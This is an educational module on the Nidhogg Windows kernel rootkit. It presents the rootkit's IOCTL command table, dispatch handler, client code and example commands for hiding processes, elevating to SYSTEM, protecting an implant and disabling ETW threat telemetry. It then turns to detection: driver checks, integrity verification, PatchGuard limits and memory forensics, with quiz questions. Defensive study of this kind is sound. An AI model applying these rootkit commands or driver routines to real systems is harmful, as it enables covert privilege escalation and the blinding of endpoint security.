Difficulty: Advanced

Module 8: Full Chain, IOCTL Interface & Detection

Complete Nidhogg architecture, the IOCTL command table, user-mode client, and how to detect kernel rootkits.

Module Objective

Bring together all previous modules into a complete picture of Nidhogg’s architecture, understand the full IOCTL command dispatch table that maps user-mode requests to kernel operations, examine the NidhoggClient user-mode tool, and learn the detection strategies that defenders use to identify kernel rootkits including driver verification, PatchGuard, and forensic techniques.

1. Nidhogg Complete Architecture

Nidhogg is a two-component system. All techniques from Modules 1-7 are orchestrated through a central IOCTL dispatch model:

Complete System Architecture

NidhoggClient.exe
User-mode C++
Command-line interface
→ IOCTL →
Nidhogg.sys
Kernel driver
IRP_MJ_DEVICE_CONTROL
Kernel Subsystems
EPROCESS, VAD, ETW,
Callbacks, IRP hooks

Component Responsibilities

ComponentLanguageResponsibility
Nidhogg.sysC (WDK)Kernel driver: receives IOCTLs, manipulates kernel structures, registers callbacks, hooks IRP handlers
NidhoggClient.exeC++User-mode client: parses commands, serializes parameters, sends IOCTLs via DeviceIoControl, displays results
NidhoggLib (header)C/C++Shared definitions: IOCTL codes, data structures, constants used by both components

2. The IOCTL Command Table

Nidhogg defines a comprehensive set of IOCTL codes, each mapping to a specific rootkit capability. The dispatch table is the central routing mechanism:

C// Nidhogg IOCTL definitions (representative set)
#define IOCTL_NIDHOGG_BASE  FILE_DEVICE_UNKNOWN

// Process operations
#define IOCTL_PROTECT_PROCESS    CTL_CODE(IOCTL_NIDHOGG_BASE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_PROCESS  CTL_CODE(IOCTL_NIDHOGG_BASE, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE_PROCESS       CTL_CODE(IOCTL_NIDHOGG_BASE, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNHIDE_PROCESS     CTL_CODE(IOCTL_NIDHOGG_BASE, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ELEVATE_PROCESS    CTL_CODE(IOCTL_NIDHOGG_BASE, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Thread operations
#define IOCTL_PROTECT_THREAD     CTL_CODE(IOCTL_NIDHOGG_BASE, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE_THREAD        CTL_CODE(IOCTL_NIDHOGG_BASE, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)

// File operations
#define IOCTL_PROTECT_FILE       CTL_CODE(IOCTL_NIDHOGG_BASE, 0x820, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_FILE     CTL_CODE(IOCTL_NIDHOGG_BASE, 0x821, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Registry operations
#define IOCTL_PROTECT_REGKEY     CTL_CODE(IOCTL_NIDHOGG_BASE, 0x830, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_REGKEY   CTL_CODE(IOCTL_NIDHOGG_BASE, 0x831, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT_REGVALUE   CTL_CODE(IOCTL_NIDHOGG_BASE, 0x832, METHOD_BUFFERED, FILE_ANY_ACCESS)

// ETW operations
#define IOCTL_DISABLE_ETW        CTL_CODE(IOCTL_NIDHOGG_BASE, 0x840, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ENABLE_ETW         CTL_CODE(IOCTL_NIDHOGG_BASE, 0x841, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Callback operations
#define IOCTL_LIST_CALLBACKS     CTL_CODE(IOCTL_NIDHOGG_BASE, 0x850, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_REMOVE_CALLBACK    CTL_CODE(IOCTL_NIDHOGG_BASE, 0x851, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_RESTORE_CALLBACK   CTL_CODE(IOCTL_NIDHOGG_BASE, 0x852, METHOD_BUFFERED, FILE_ANY_ACCESS)

3. The Central Dispatch Handler

The IRP_MJ_DEVICE_CONTROL handler is the driver's central nervous system, routing each IOCTL to the appropriate subsystem:

CNTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS status = STATUS_SUCCESS;
    ULONG bytesReturned = 0;

    PVOID buffer   = Irp->AssociatedIrp.SystemBuffer;
    ULONG inLen    = stack->Parameters.DeviceIoControl.InputBufferLength;
    ULONG outLen   = stack->Parameters.DeviceIoControl.OutputBufferLength;
    ULONG ioctl    = stack->Parameters.DeviceIoControl.IoControlCode;

    switch (ioctl) {
    // ---- Process operations ----
    case IOCTL_PROTECT_PROCESS:
        if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = ProtectProcess(*(PULONG)buffer);
        break;

    case IOCTL_HIDE_PROCESS:
        if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = HideProcess(*(PULONG)buffer);
        break;

    case IOCTL_ELEVATE_PROCESS:
        if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = ElevateProcessToken(*(PULONG)buffer);
        break;

    // ---- File operations ----
    case IOCTL_PROTECT_FILE:
        if (inLen < sizeof(WCHAR) * 2) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = AddProtectedFile((PWCHAR)buffer, inLen);
        break;

    // ---- Registry operations ----
    case IOCTL_PROTECT_REGKEY:
        if (inLen < sizeof(WCHAR) * 2) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = AddProtectedRegistryKey((PWCHAR)buffer, inLen);
        break;

    // ---- ETW operations ----
    case IOCTL_DISABLE_ETW:
        if (inLen < sizeof(GUID)) { status = STATUS_BUFFER_TOO_SMALL; break; }
        status = DisableEtwProvider((PGUID)buffer);
        break;

    // ---- Callback operations ----
    case IOCTL_LIST_CALLBACKS: {
        if (outLen < sizeof(CALLBACK_INFO) * 64) {
            status = STATUS_BUFFER_TOO_SMALL; break;
        }
        ULONG count = 0;
        status = EnumerateProcessCallbacks(
            (PCALLBACK_INFO)buffer, 64, &count
        );
        bytesReturned = count * sizeof(CALLBACK_INFO);
        break;
    }
    case IOCTL_REMOVE_CALLBACK:
        if (inLen < sizeof(CALLBACK_REMOVE_INFO)) {
            status = STATUS_BUFFER_TOO_SMALL; break;
        }
        PCALLBACK_REMOVE_INFO removeInfo = (PCALLBACK_REMOVE_INFO)buffer;
        status = RemoveCallback(removeInfo->Type, removeInfo->Index);
        break;

    default:
        status = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = bytesReturned;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

4. NidhoggClient: The User-Mode Tool

NidhoggClient provides a command-line interface that translates human-readable commands into IOCTL calls:

C++// NidhoggClient main command dispatcher
int wmain(int argc, wchar_t* argv[]) {
    // Open handle to the Nidhogg driver
    HANDLE hDevice = CreateFileW(
        L"\\\\.\\Nidhogg", GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Failed to open Nidhogg device. Is the driver loaded?\n");
        return 1;
    }

    // Parse command
    if (wcscmp(argv[1], L"process") == 0) {
        if (wcscmp(argv[2], L"hide") == 0) {
            DWORD pid = _wtoi(argv[3]);
            SendIoctl(hDevice, IOCTL_HIDE_PROCESS, &pid, sizeof(pid));
        }
        else if (wcscmp(argv[2], L"protect") == 0) {
            DWORD pid = _wtoi(argv[3]);
            SendIoctl(hDevice, IOCTL_PROTECT_PROCESS, &pid, sizeof(pid));
        }
        else if (wcscmp(argv[2], L"elevate") == 0) {
            DWORD pid = _wtoi(argv[3]);
            SendIoctl(hDevice, IOCTL_ELEVATE_PROCESS, &pid, sizeof(pid));
        }
    }
    else if (wcscmp(argv[1], L"file") == 0) {
        if (wcscmp(argv[2], L"protect") == 0) {
            SendIoctl(hDevice, IOCTL_PROTECT_FILE,
                argv[3], (wcslen(argv[3]) + 1) * sizeof(WCHAR));
        }
    }
    // ... other command categories ...

    CloseHandle(hDevice);
    return 0;
}

Example Command Usage

Batch:: Hide a process by PID
NidhoggClient.exe process hide 1234

:: Protect a file from deletion
NidhoggClient.exe file protect \Device\HarddiskVolume3\payload\implant.exe

:: Protect a registry key
NidhoggClient.exe reg protect \REGISTRY\MACHINE\SYSTEM\...\Services\Nidhogg

:: Disable the Threat Intelligence ETW provider
NidhoggClient.exe etw disable {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}

:: List all process creation callbacks
NidhoggClient.exe callbacks list process

:: Remove a specific callback by index
NidhoggClient.exe callbacks remove process 3

:: Elevate a process to SYSTEM
NidhoggClient.exe process elevate 5678

5. Initialization Sequence

When the driver loads, DriverEntry orchestrates the initialization of all subsystems:

CNTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    NTSTATUS status;

    // 1. Create device object and symbolic link (Module 2)
    status = CreateDeviceAndSymLink(DriverObject);
    if (!NT_SUCCESS(status)) return status;

    // 2. Set IRP dispatch routines
    DriverObject->MajorFunction[IRP_MJ_CREATE]         = NidhoggCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = NidhoggCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl;
    DriverObject->DriverUnload = NidhoggUnload;

    // 3. Resolve dynamic offsets for current Windows build
    status = ResolveKernelOffsets();
    if (!NT_SUCCESS(status)) goto cleanup;

    // 4. Install file protection hook (Module 4)
    status = InstallFileProtectionHook();
    // Non-fatal: log and continue if hook fails

    // 5. Register registry callbacks (Module 4)
    status = InstallRegistryProtection();
    // Non-fatal: log and continue

    // 6. Register object callbacks for process/thread protection (Module 3)
    status = InstallObjectCallbacks();
    // Non-fatal: log and continue

    // 7. Locate callback arrays for future enumeration/removal (Module 6)
    status = LocateCallbackArrays();
    // Non-fatal: log and continue

    // 8. Locate ETW structures for future provider disabling (Module 5)
    status = LocateEtwStructures();
    // Non-fatal: log and continue

    return STATUS_SUCCESS;

cleanup:
    CleanupDevice(DriverObject);
    return status;
}

Graceful Degradation

Nidhogg is designed to partially function even if some subsystems fail to initialize. If registry callback registration fails, the driver still provides process hiding and ETW disabling. Only the device/symlink creation and offset resolution are fatal failures, because without them no communication or safe kernel access is possible.

6. Driver Unload and Cleanup

Clean unloading requires undoing every modification in reverse order:

CVOID NidhoggUnload(PDRIVER_OBJECT DriverObject) {
    // 1. Restore ETW providers (Module 5)
    RestoreAllEtwProviders();

    // 2. Unregister registry callbacks (Module 4)
    CmUnRegisterCallback(g_RegCallbackCookie);

    // 3. Unregister object callbacks (Module 3)
    ObUnRegisterCallbacks(g_ObCallbackHandle);

    // 4. Restore NTFS IRP hook (Module 4)
    if (g_NtfsDriverObject && g_OriginalNtfsMjCreate) {
        InterlockedExchangePointer(
            (PVOID*)&g_NtfsDriverObject->MajorFunction[IRP_MJ_CREATE],
            (PVOID)g_OriginalNtfsMjCreate
        );
    }

    // 5. Re-link any hidden processes (Module 3)
    UnhideAllProcesses();

    // 6. Restore any modified VADs/PTEs (Module 7)
    RestoreAllMemoryModifications();

    // 7. Delete symbolic link and device object (Module 2)
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
    IoDeleteSymbolicLink(&symLink);
    IoDeleteDevice(DriverObject->DeviceObject);

    // 8. Free all pool allocations
    FreeAllAllocations();
}

7. Detection: Driver Verification

Defenders have several strategies for detecting kernel rootkits. The first line of defense is driver verification:

Detection MethodWhat It ChecksEffectiveness Against Nidhogg
Loaded driver enumerationNtQuerySystemInformation(SystemModuleInformation) lists all loaded modulesEffective if loaded via sc.exe; ineffective if manually mapped (kdmapper)
Driver signature verificationCheck all loaded drivers have valid Authenticode signaturesEffective if loaded normally; bypassed by BYOVD + manual mapping
Known vulnerable driver detectionMicrosoft's vulnerable driver blocklist (Microsoft-Recommended-Driver-Block-Rules)Blocks known BYOVD vectors but new vulnerable drivers are constantly found
Device object enumerationWalk the object namespace for suspicious device objects (\Device\Nidhogg)Effective: the device object must exist for IOCTL communication
Pool tag scanningScan kernel pool for known tags used by the rootkitModerate: tags can be changed at compile time
C++// Defender tool: enumerate device objects looking for rootkit indicators
// Using NtOpenDirectoryObject + NtQueryDirectoryObject to walk \Device
void ScanForSuspiciousDevices() {
    // Known rootkit device names to check
    const wchar_t* suspiciousNames[] = {
        L"Nidhogg", L"Cronos", L"KernelRootkit",
        // ... other known rootkit device names
    };
    // Walk \Device namespace and check for matches
}

8. Detection: Kernel Integrity Verification

Beyond driver enumeration, defenders can verify the integrity of kernel structures that rootkits modify:

Integrity Checks

CheckWhat Is VerifiedDetects
ActiveProcessLinks walkingCompare process count from ActiveProcessLinks vs. HandleTable vs. CID tableDKOM-hidden processes: HandleTable has entries for processes not in ActiveProcessLinks
SSDT verificationAll SSDT entries should point within ntoskrnl address rangeSSDT hooking (not used by Nidhogg, but checked anyway)
IRP hook detectionMajorFunction table entries should point within the original driverNidhogg's NTFS IRP_MJ_CREATE hook
Callback array integrityCount and verify all callback registrations against expected countCallback removal (Module 6)
ETW provider verificationCheck IsEnabled state of critical providers matches expected stateETW provider disabling (Module 5)
C// Detection: Find DKOM-hidden processes
// Walk ActiveProcessLinks AND the PspCidTable (handle table)
// Processes in CidTable but not in ActiveProcessLinks are hidden

VOID DetectHiddenProcesses() {
    // Method 1: Walk ActiveProcessLinks (user-mode accessible via
    //           NtQuerySystemInformation)
    LIST_ENTRY-based processes;

    // Method 2: Walk PspCidTable (requires kernel driver)
    // PspCidTable contains an entry for every process/thread ever created
    // It is NOT modified by DKOM (ActiveProcessLinks unlinking)

    // Compare: processes in CidTable but missing from ActiveProcessLinks
    // = hidden processes
}

9. PatchGuard / Kernel Patch Protection (KPP)

PatchGuard is Microsoft's mechanism for detecting unauthorized kernel modifications. Understanding what it does and does not monitor is critical for both attackers and defenders:

Monitored by PatchGuardNot Reliably Monitored by PatchGuard
SSDT (System Service Descriptor Table)ETW GuidEntry structures
IDT (Interrupt Descriptor Table)ObRegisterCallbacks registrations
GDT (Global Descriptor Table)CmRegisterCallbackEx registrations
Critical ntoskrnl code sectionsProcess/thread token pointers
LSTAR MSR (syscall entry)Notification callback arrays (varies by build)
Certain IRP dispatch tables (varies) 
Some kernel data structures including EPROCESS lists (varies by build) 

PatchGuard Limitations and DKOM Risk

PatchGuard runs at unpredictable intervals (randomized timing). It checks a snapshot of protected structures. A sophisticated rootkit could theoretically restore modifications before PatchGuard runs and re-apply them afterward. However, it is important to note that DKOM is NOT guaranteed to be PatchGuard-safe. PatchGuard's monitoring scope varies between Windows builds and has expanded over time. Nidhogg's own documentation acknowledges that PatchGuard can detect DKOM modifications to EPROCESS linked lists. While some of Nidhogg's other techniques (ETW manipulation, token replacement, documented callback APIs) operate on structures that PatchGuard does not typically monitor, DKOM process hiding carries a real risk of PatchGuard detection on newer Windows builds.

10. Forensic Detection Strategies

Advanced forensics goes beyond live system checks, examining memory dumps and artifacts that rootkits cannot easily hide:

Memory Forensics (Volatility Framework)

Detection ApproachDetects Which Nidhogg Feature
Cross-reference process lists (psxview)DKOM process hiding (Module 3)
IRP hook scan (driverirp)File protection hooks (Module 4)
Callback enumerationCallback removal (Module 6)
ETW provider state checkETW disabling (Module 5)
VAD/PTE consistency checkMemory hiding (Module 7)
Device object namespace scanDriver presence via device name
Pool tag scanningKernel memory allocations by the rootkit

11. Operational Security Summary

Red Team Best Practices with Kernel Rootkits

PrincipleImplementation
Always have a cleanup pathSupport driver unload that reverses all modifications; never leave permanent artifacts
Minimize footprintUse only the features needed for the engagement; do not enable all capabilities by default
Test on matching OS versionEPROCESS offsets and pattern scans are build-specific; test on the target's exact build
Have a BSOD recovery planKernel bugs cause blue screens; know how to recover the target system if the rootkit crashes
Document everythingRecord every rootkit action (hidden PIDs, protected files, disabled providers) for cleanup and reporting
Coordinate with defendersIn a purple team engagement, share detection opportunities and indicators

Knowledge Check

Q1: How can a defender detect a DKOM-hidden process?

A) By running Task Manager, which bypasses DKOM
B) By cross-referencing process lists from ActiveProcessLinks against the PspCidTable handle table; processes in CidTable but not in ActiveProcessLinks are hidden
C) DKOM-hidden processes cannot be detected by any means
D) By checking the Windows Event Log for process creation events

Q2: Why does Nidhogg use DKOM rather than SSDT hooking, even though neither is fully PatchGuard-safe?

A) PatchGuard reliably monitors the SSDT, making SSDT hooking almost certain to trigger a BSOD; DKOM modifies data structure links that PatchGuard monitors less consistently, though detection is still possible on newer builds
B) DKOM runs at a higher privilege than PatchGuard
C) PatchGuard only runs on older Windows versions
D) DKOM is a Microsoft-approved technique

Q3: What is the most reliable forensic technique for detecting Nidhogg's NTFS IRP hook?

A) Checking the system event log for hook installation events
B) Running pe-sieve on the NTFS process
C) Enumerating the NTFS driver's MajorFunction table and checking if any handlers point to addresses outside the NTFS driver's image range
D) Monitoring network traffic for rootkit C2 communication